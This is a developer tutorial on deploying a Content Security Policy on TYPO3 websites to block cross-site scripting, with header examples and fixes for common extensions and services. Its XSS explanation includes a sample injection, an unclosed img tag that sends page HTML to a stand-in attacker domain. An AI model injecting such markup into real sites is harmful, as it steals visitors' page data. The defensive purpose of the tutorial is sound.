Skip to content
Content Security Policy

How to (not) break your TYPO3 website with a Content Security Policy

This HTTP header can effectively prevent Cross-site scripting on your website.

Quickstart

A Content Security Policy (CSP) is a whitelist of all allowed resources on your website. This includes but is not limited to scripts, styles, images, and frames. If implemented, your visitor's web browsers will block anything that is not listed in your website's CSP header.

This HTTP security header provides a wide range of directives. You can set individual allowed sources for a website's resource types.

This tutorial will not explain every directive (the Mozilla Developer Network is a great compendium for that), but instead give a first insight:

  • What's it all about?
  • How to start?
  • How to monitor any problems?
  • Which technical changes will become necessary on your website, both in general and related to TYPO3 CMS?
  • Where can you find further information?

Let's begin!

Why you should introduce a Content Security Policy (CSP)

While the CSP header also provides other features, its main objective is to prevent Cross-site scripting (XSS). According to the OWASP Top 10, XSS is the second leading vulnerability in web applications. It is commonly used for phishing attacks, hijacking user sessions, capturing keyboard input and more. Therefore, XSS attacks aim at the visitors of a website.

A web application or plugin is vulnerable to XSS if it doesn't properly validate or escape user input. There are three forms of Cross-site scripting (reflected, persistent and DOM-based). In summary, an attacker can use the security hole to inject malicious HTML code to your website:

<script>
doEvilStuff();
</script>

<img src="sinister-domain.com/capture?the-following-html=

XSS enables an attacker to inject malicious inline code, possibly with links to external sources.

A strict and effective Content Security Policy will, therefore, block all inline styles and scripts, as well as limit the usage of external sources.

CSP versions and browser compatibility

A first version of the HTTP Security Header Content-Security-Policy was already established back in 2013. Every major browser supports this header, except the obsolete Internet Explorer. In 2016, Level 2 of the CSP header extended the possibilities with new directives. Level 3 is now a working draft.

Some of the CSP directives are not supported in all browsers (yet).

You can find the browser compatibility of every directive in the MDN web docs.

How to start using a Content Security Policy

GitHub called it a journey when they wrote about their CSP implementation (it's a great read, so don't miss it). This is an accurate description. You don't write a Content Security Policy once and be done with it.

I recommend adding the first version of your new CSP header in a local dev environment of your website. This Content Security Policy should be short but strict. The following example will only allow resources from the same origin (see further below):

Content-Security-Policy: default-src 'self'

Then you can use your browser tools to check for reports of blocked sources in the console. Most likely you will get a lot of reports. Don't panic.

Some reports may be false positives. Do you have any browser plugins enabled? Some of them will add inline styles. For example, the 'Ghostery' extension injects a box with information about blocked scripts on every website.

Start to replace all inline styles with classes. Move all inline scripts to external files.

You'll also have to extend your Content Security Policy for any external sources that you want to use on your website. This could be Google Analytics, YouTube videos or resources from a CDN.

Keep checking your website for reports with the browser console. Manually verifying every single page is not necessary, though: the HTTP header Content-Security-Policy provides two special directives to send automatic reports to an endpoint. See the following section for details.

If you think that you've taken care of most issues, you can implement the technical changes on your live website.

If you deploy the prepared CSP header now, it would have the potential to break stuff on your website. Instead, you can use the report-only mode of the Content Security Policy: enable it by renaming your HTTP header from Content-Security-Policy to Content-Security-Policy-Report-Only.

This report-only HTTP header will send reports based on the given directives, but won't block any resources for visitors. Don't forget to send reports to an endpoint.

After you analyzed the reports, you can introduce the Content-Security-Policy header.
Depending on your website, you could do this in several steps: Start with a less strict version of your CSP header, use the Report header with stricter directives and get reports from both HTTP headers to monitor current and possible future problems.

In summary:

  1. Add a strict CSP header to your website in a local dev environment.
  2. Check your browser tool console for reports of blocked sources.
  3. Replace all inline styles with classes.
  4. Move all inline scripts to external files.
  5. Extend your Content Security Policy: add external sources to your whitelist.
  6. Test, test, test.
  7. Start with HTTP header Content-Security-Policy-Report-Only on your live website. It should send reports via report-uri or report-to.
  8. Keep adjusting your website and HTTP header.
  9. When ready, replace HTTP header Content-Security-Policy-Report-Only with Content-Security-Policy.
  10. Continue to monitor reports.

Getting reports (without blocking resources)

In the last section, I mentioned the Content-Security-Policy-Report-Only header. This HTTP header will not block any resources for your users, so you can use it to safely test new directives. If a source violates the policy, a report will be sent to an endpoint of your choice.

To get reports you can use two directives: report-uri and report-to.

While report-uri sends a JSON document to a specified URI, report-to uses the upcoming Reporting API in web browsers (in an experimental stage).

Content-Security-Policy: default-src 'self'; report-uri /my-csp-parser-script
Content-Security-Policy: default-src 'self'; report-to json-field-value

The report-uri directive is deprecated in favor of the new report-to directive. But no browser (except Chrome 70+) is supporting this newer directive yet. You can currently use report-uri without hesitation.
If you like, you can add both directives to your HTTP header–compatible browsers will use the newer version and ignore the other.

A report-uri report could look like this:

{
    "csp-report": {
        "document-uri": "https://www.sebkln.de/tutorials/detail/routing-in-typo3-v9-der-extbase-plugin-enhancer/",
        "effective-directive": "img-src",
        "original-policy": "default-src 'self' https://*.sebkln.de; frame-ancestors 'none'; object-src 'none'; report-uri https://sebkln.report-uri.com/r/d/csp/enforce",
        "blocked-uri": "https://www.gstatic.com/images/branding/product/2x/translate_24dp.png"
    }
}

I'm currently aware of these two report-uri web services:

So far, I only used the first service.

Content-Security-Policy: default-src 'self'; report-uri https://example.report-uri.com/r/d/csp/reportOnly
Content-Security-Policy-Report-Only: default-src 'self'; frame-ancestors 'none'; object-src 'none'; report-uri https://example.report-uri.com/r/d/csp/enforce

You could also build a custom report-uri endpoint on your web server.

Bad helpers: the directive values 'unsafe-inline' and 'unsafe-eval'

The whole point of a Content Security Policy is to block (potentially harmful) inline code. If you use 'unsafe-inline' in a directive to allow some really needed inline-code for scripts or styles, the CSP can no longer protect your users against XSS!

The same goes for 'unsafe-eval'. JavaScript includes some functions like eval() or setInterval(), which can evaluate strings as code. If misapplied, that's another huge security risk.
If you use one of these functions, examine your code: you can e.g. use setInterval() with an anonymous function or a Closure to limit the scope.

You should always avoid using 'unsafe-inline' or 'unsafe-eval'! They bear these names for a reason.

Common pitfalls

Below you will find some necessary adjustments for commonly used applications and TYPO3 extensions. I am going to assume that you have solid knowledge of TYPO3 (TypoScript, Fluid) and the respective software.

Matomo (formerly Piwik)

It's pretty easy to adapt Matomo to work with a CSP. You need to provide an adjusted tracking code within an external file:

var idSite = 1;
var matomoTrackingApiUrl = 'https://www.matomo-server.com/matomo/matomo.php';

var _paq = window._paq || [];
_paq.push(['setTrackerUrl', matomoTrackingApiUrl]);
_paq.push(['setSiteId', idSite]);
_paq.push(['trackPageView']);
_paq.push(['enableLinkTracking']);

You will also need to link to the main matomo.js of your installation:

<script src="https://www.example.org/tracking-code.js"></script>
<script src="https://www.matomo-server.com/matomo/matomo.js" async defer></script>

Add this at the bottom of your page and you're fine. If your Matomo installation is found in a different origin, add it to your script-src directive.

Most likely your data privacy policy contains a Matomo opt-out via <iframe>. You will then need to add the Matomo origin to a frame-src directive, too.

Content-Security-Policy: script-src 'self' https://www.example.org https://www.matomo-server.com; frame-src 'self' https://www.matomo-server.com

Source: https://matomo.org/faq/general/faq_20904/

Google Analytics

The tracking code of Google Analytics is usually added as an inline script inside the <head> element.

You can move this script to an external file. Unlike Matomo, you don't even have to adjust the existing tracking code.

There are several versions of the Google Analytics tracking code: the deprecated ga.js, the current analytics.js, and the new gtag.js. The last one uses Google Tag Manager though, which is a different story (see below).

Either way, the tracking code will load an image from Google's server, therefore you'll have to allow both scripts and images from www.google-analytics.com:

Content-Security-Policy: script-src https://www.google-analytics.com https://ssl.google-analytics.com; img-src https://www.google-analytics.com

Google Tag Manager

Tough luck. The Google Tag Manager works by injecting inline code into your website. Exactly what we want to prevent.

Google recommends to use 'unsafe-inline' and (if you use Custom JavaScript Variables) even 'unsafe-eval' in your Content Security Policy to allow their Tag Manager. Ugh.

If your website uses the Google Tag Manager, a strict CSP may not fit you.

YouTube

If you embed YouTube videos on your website, these are rendered inside an <iframe> element.

You will have to allow two possible YouTube domains in the frame-src directive:

Content-Security-Policy: frame-src www.youtube.com www.youtube-nocookie.com

Forms: honeypot fields of Powermail and EXT:form

Both Powermail and the TYPO3 Form Framework provide a honeypot field to protect the forms against spam.

And both extensions use inline styles to hide this field from your visitors while keeping it accessible to spambots.

You can replace these inline styles with a dedicated class that has the same effect. The corresponding Fluid partial is found here:

  • EXT:powermail/Resources/Private/Partials/Misc/HoneyPod.html
  • EXT:form/Resources/Private/Frontend/Partials/Honeypot.html

Mindshape Cookie Hint (EXT:mindshape_cookie_hint)

This extension is used quite often to show a cookie banner to visitors. To customize this banner, the plugin's options get rendered as inline JavaScript.

You can adjust the info text, button label and other options with TypoScript setup. Provided that you set a link to your data privacy policy, the extension will render options similar to the following:

<script>
window.cookieconsent_options = {
    expiryDays: 365,
    learnMore: 'More info.',
    dismiss: 'Got it',
    message: 'This website uses cookies to ensure you get the best experience on our website.',
    link: '/data-privacy-policy/',
};
</script>

In favor of a strict CSP, we need to get rid of this inline code.

  1. Copy your inline JavaScript to an external file and load it from there (with TypoScript includeJSFooter).
  2. We also want to remove the original inline script. As this is set in the extension with a Fluid template, we need to copy Templates/Main/Cookie.html to our sitepackage extension. In our custom template, we remove the whole <script> element. Don't forget to set the templateRootPath to your template via TypoScript!

With these two steps, we made the cookie hint compatible with our CSP header.

Since the TypoScript configuration now is out of use, there are some drawbacks:

  • The link to the data privacy policy is no longer rendered automatically from the page ID in TypoScript. If the URL changes later, you'll need to adjust it manually in the JavaScript file (e.g. '/data-privacy-policy.html').
  • If you have a website with multiple frontend languages, you'll need to provide an adjusted JavaScript for each language.

SVG files: Scalable vector graphics with style attributes

The browsers Firefox and Edge have/had an issue with SVG files. If the files contain style attributes somewhere in their XML code, it is considered an 'unsafe-inline' style and gets blocked by the CSP header. Depending on the circumstances, the SVG image would be rendered black.

This bug is still present in Firefox and apparently fixed in Edge (as of September 2019).

Solution: You can allow 'unsafe-inline' just for SVG files. This will not loosen your security for the rest of your website. Set a dedicated CSP header for SVG files e.g. in your .htaccess:

<IfModule mod_headers.c>
    <FilesMatch "\.(svgz?)$">
        Header set Content-Security-Policy "default-src 'none'; frame-ancestors 'none'; style-src 'self' 'unsafe-inline'"
    </FilesMatch>
</IfModule>

Source: April King – SVG + CSP: An Unappetizing Alphabet Soup

Good to know

General syntax

  • All directives must be written on the same line (no line breaks allowed) and are separated by a semicolon.
  • A directive can contain a list of several values. The values are divided by a space.
    Exception: if the value 'none' is used, no other values should be set.
  • Some values are wrapped in single quotes, e.g. 'unsafe-inline' or 'nonce-123456'. If in doubt, please refer to MDN.
  • Host and scheme sources (like www.example.org) are not wrapped in quotes.

default-src

This is the fallback for most of the available CSP directives. You could set a strict default-src and adjust needed rules in a specific directive.

Please note that default-src is only used for omitted directives. When you add e.g. a script-src directive it must include all desired sources, even if it was already added in the default-src!

Example:

Content-Security-Policy: default-src https://www.example.org; script-src https://www.example.org https://www.foobar.com

'self'

If you use 'self' in a CSP directive, resources are loaded if they share the same origin with the document (website) from which it is served.

Content-Security-Policy: default-src 'self'

Same origin means identical protocol (HTTP/HTTPS), host and port (if available).

As an example: If you open the website https://www.example.org which uses a script from https://other.example.org, the Content Security Policy will block the script as it is loaded from a different subdomain.

You can allow more sources to your directive and even use wildcards:

Content-Security-Policy: default-src 'self' https://*.example.org

'nonce' and 'hash' – allowing inline scripts securely

Sometimes you just can't get rid of an inline script. The Content Security Policy will allow a specific inline script if it is whitelisted with one of these two options:

'nonce'

The inline script gets a new attribute nonce with a randomly generated value. The very same value is added to the script-src of the HTTP header Content-Security-Policy.

The nonce value must be unique on each page reload! It must be impossible to guess, too. Otherwise, an attacker could simply attach the nonce attribute to his injected script.

HTTP header:

Content-Security-Policy: script-src 'nonce-5422a4d21b'

HTML:

<script nonce="5422a4d21b">alert("Hello world.");</script>

'hash'

It's also possible to add a hash of your inline script to the script-src directive.

You will need to create the hash from your inline script with an algorithm like sha256. The hash mustn't include the <script> tag itself. But all whitespace and capitalization do matter. The hash has to be wrapped in single quotes in your CSP header.

HTTP header:

Content-Security-Policy: script-src 'sha256-B2yPHKaXnvFWtRChIbabYmUBFZdVfKKXHbWtWidDVF8='

HTML:

<script>var inline = 1;</script>

This example is taken from MDN.

It is planned to support this feature in future versions of TYPO3:
https://forge.typo3.org/issues/87420

Back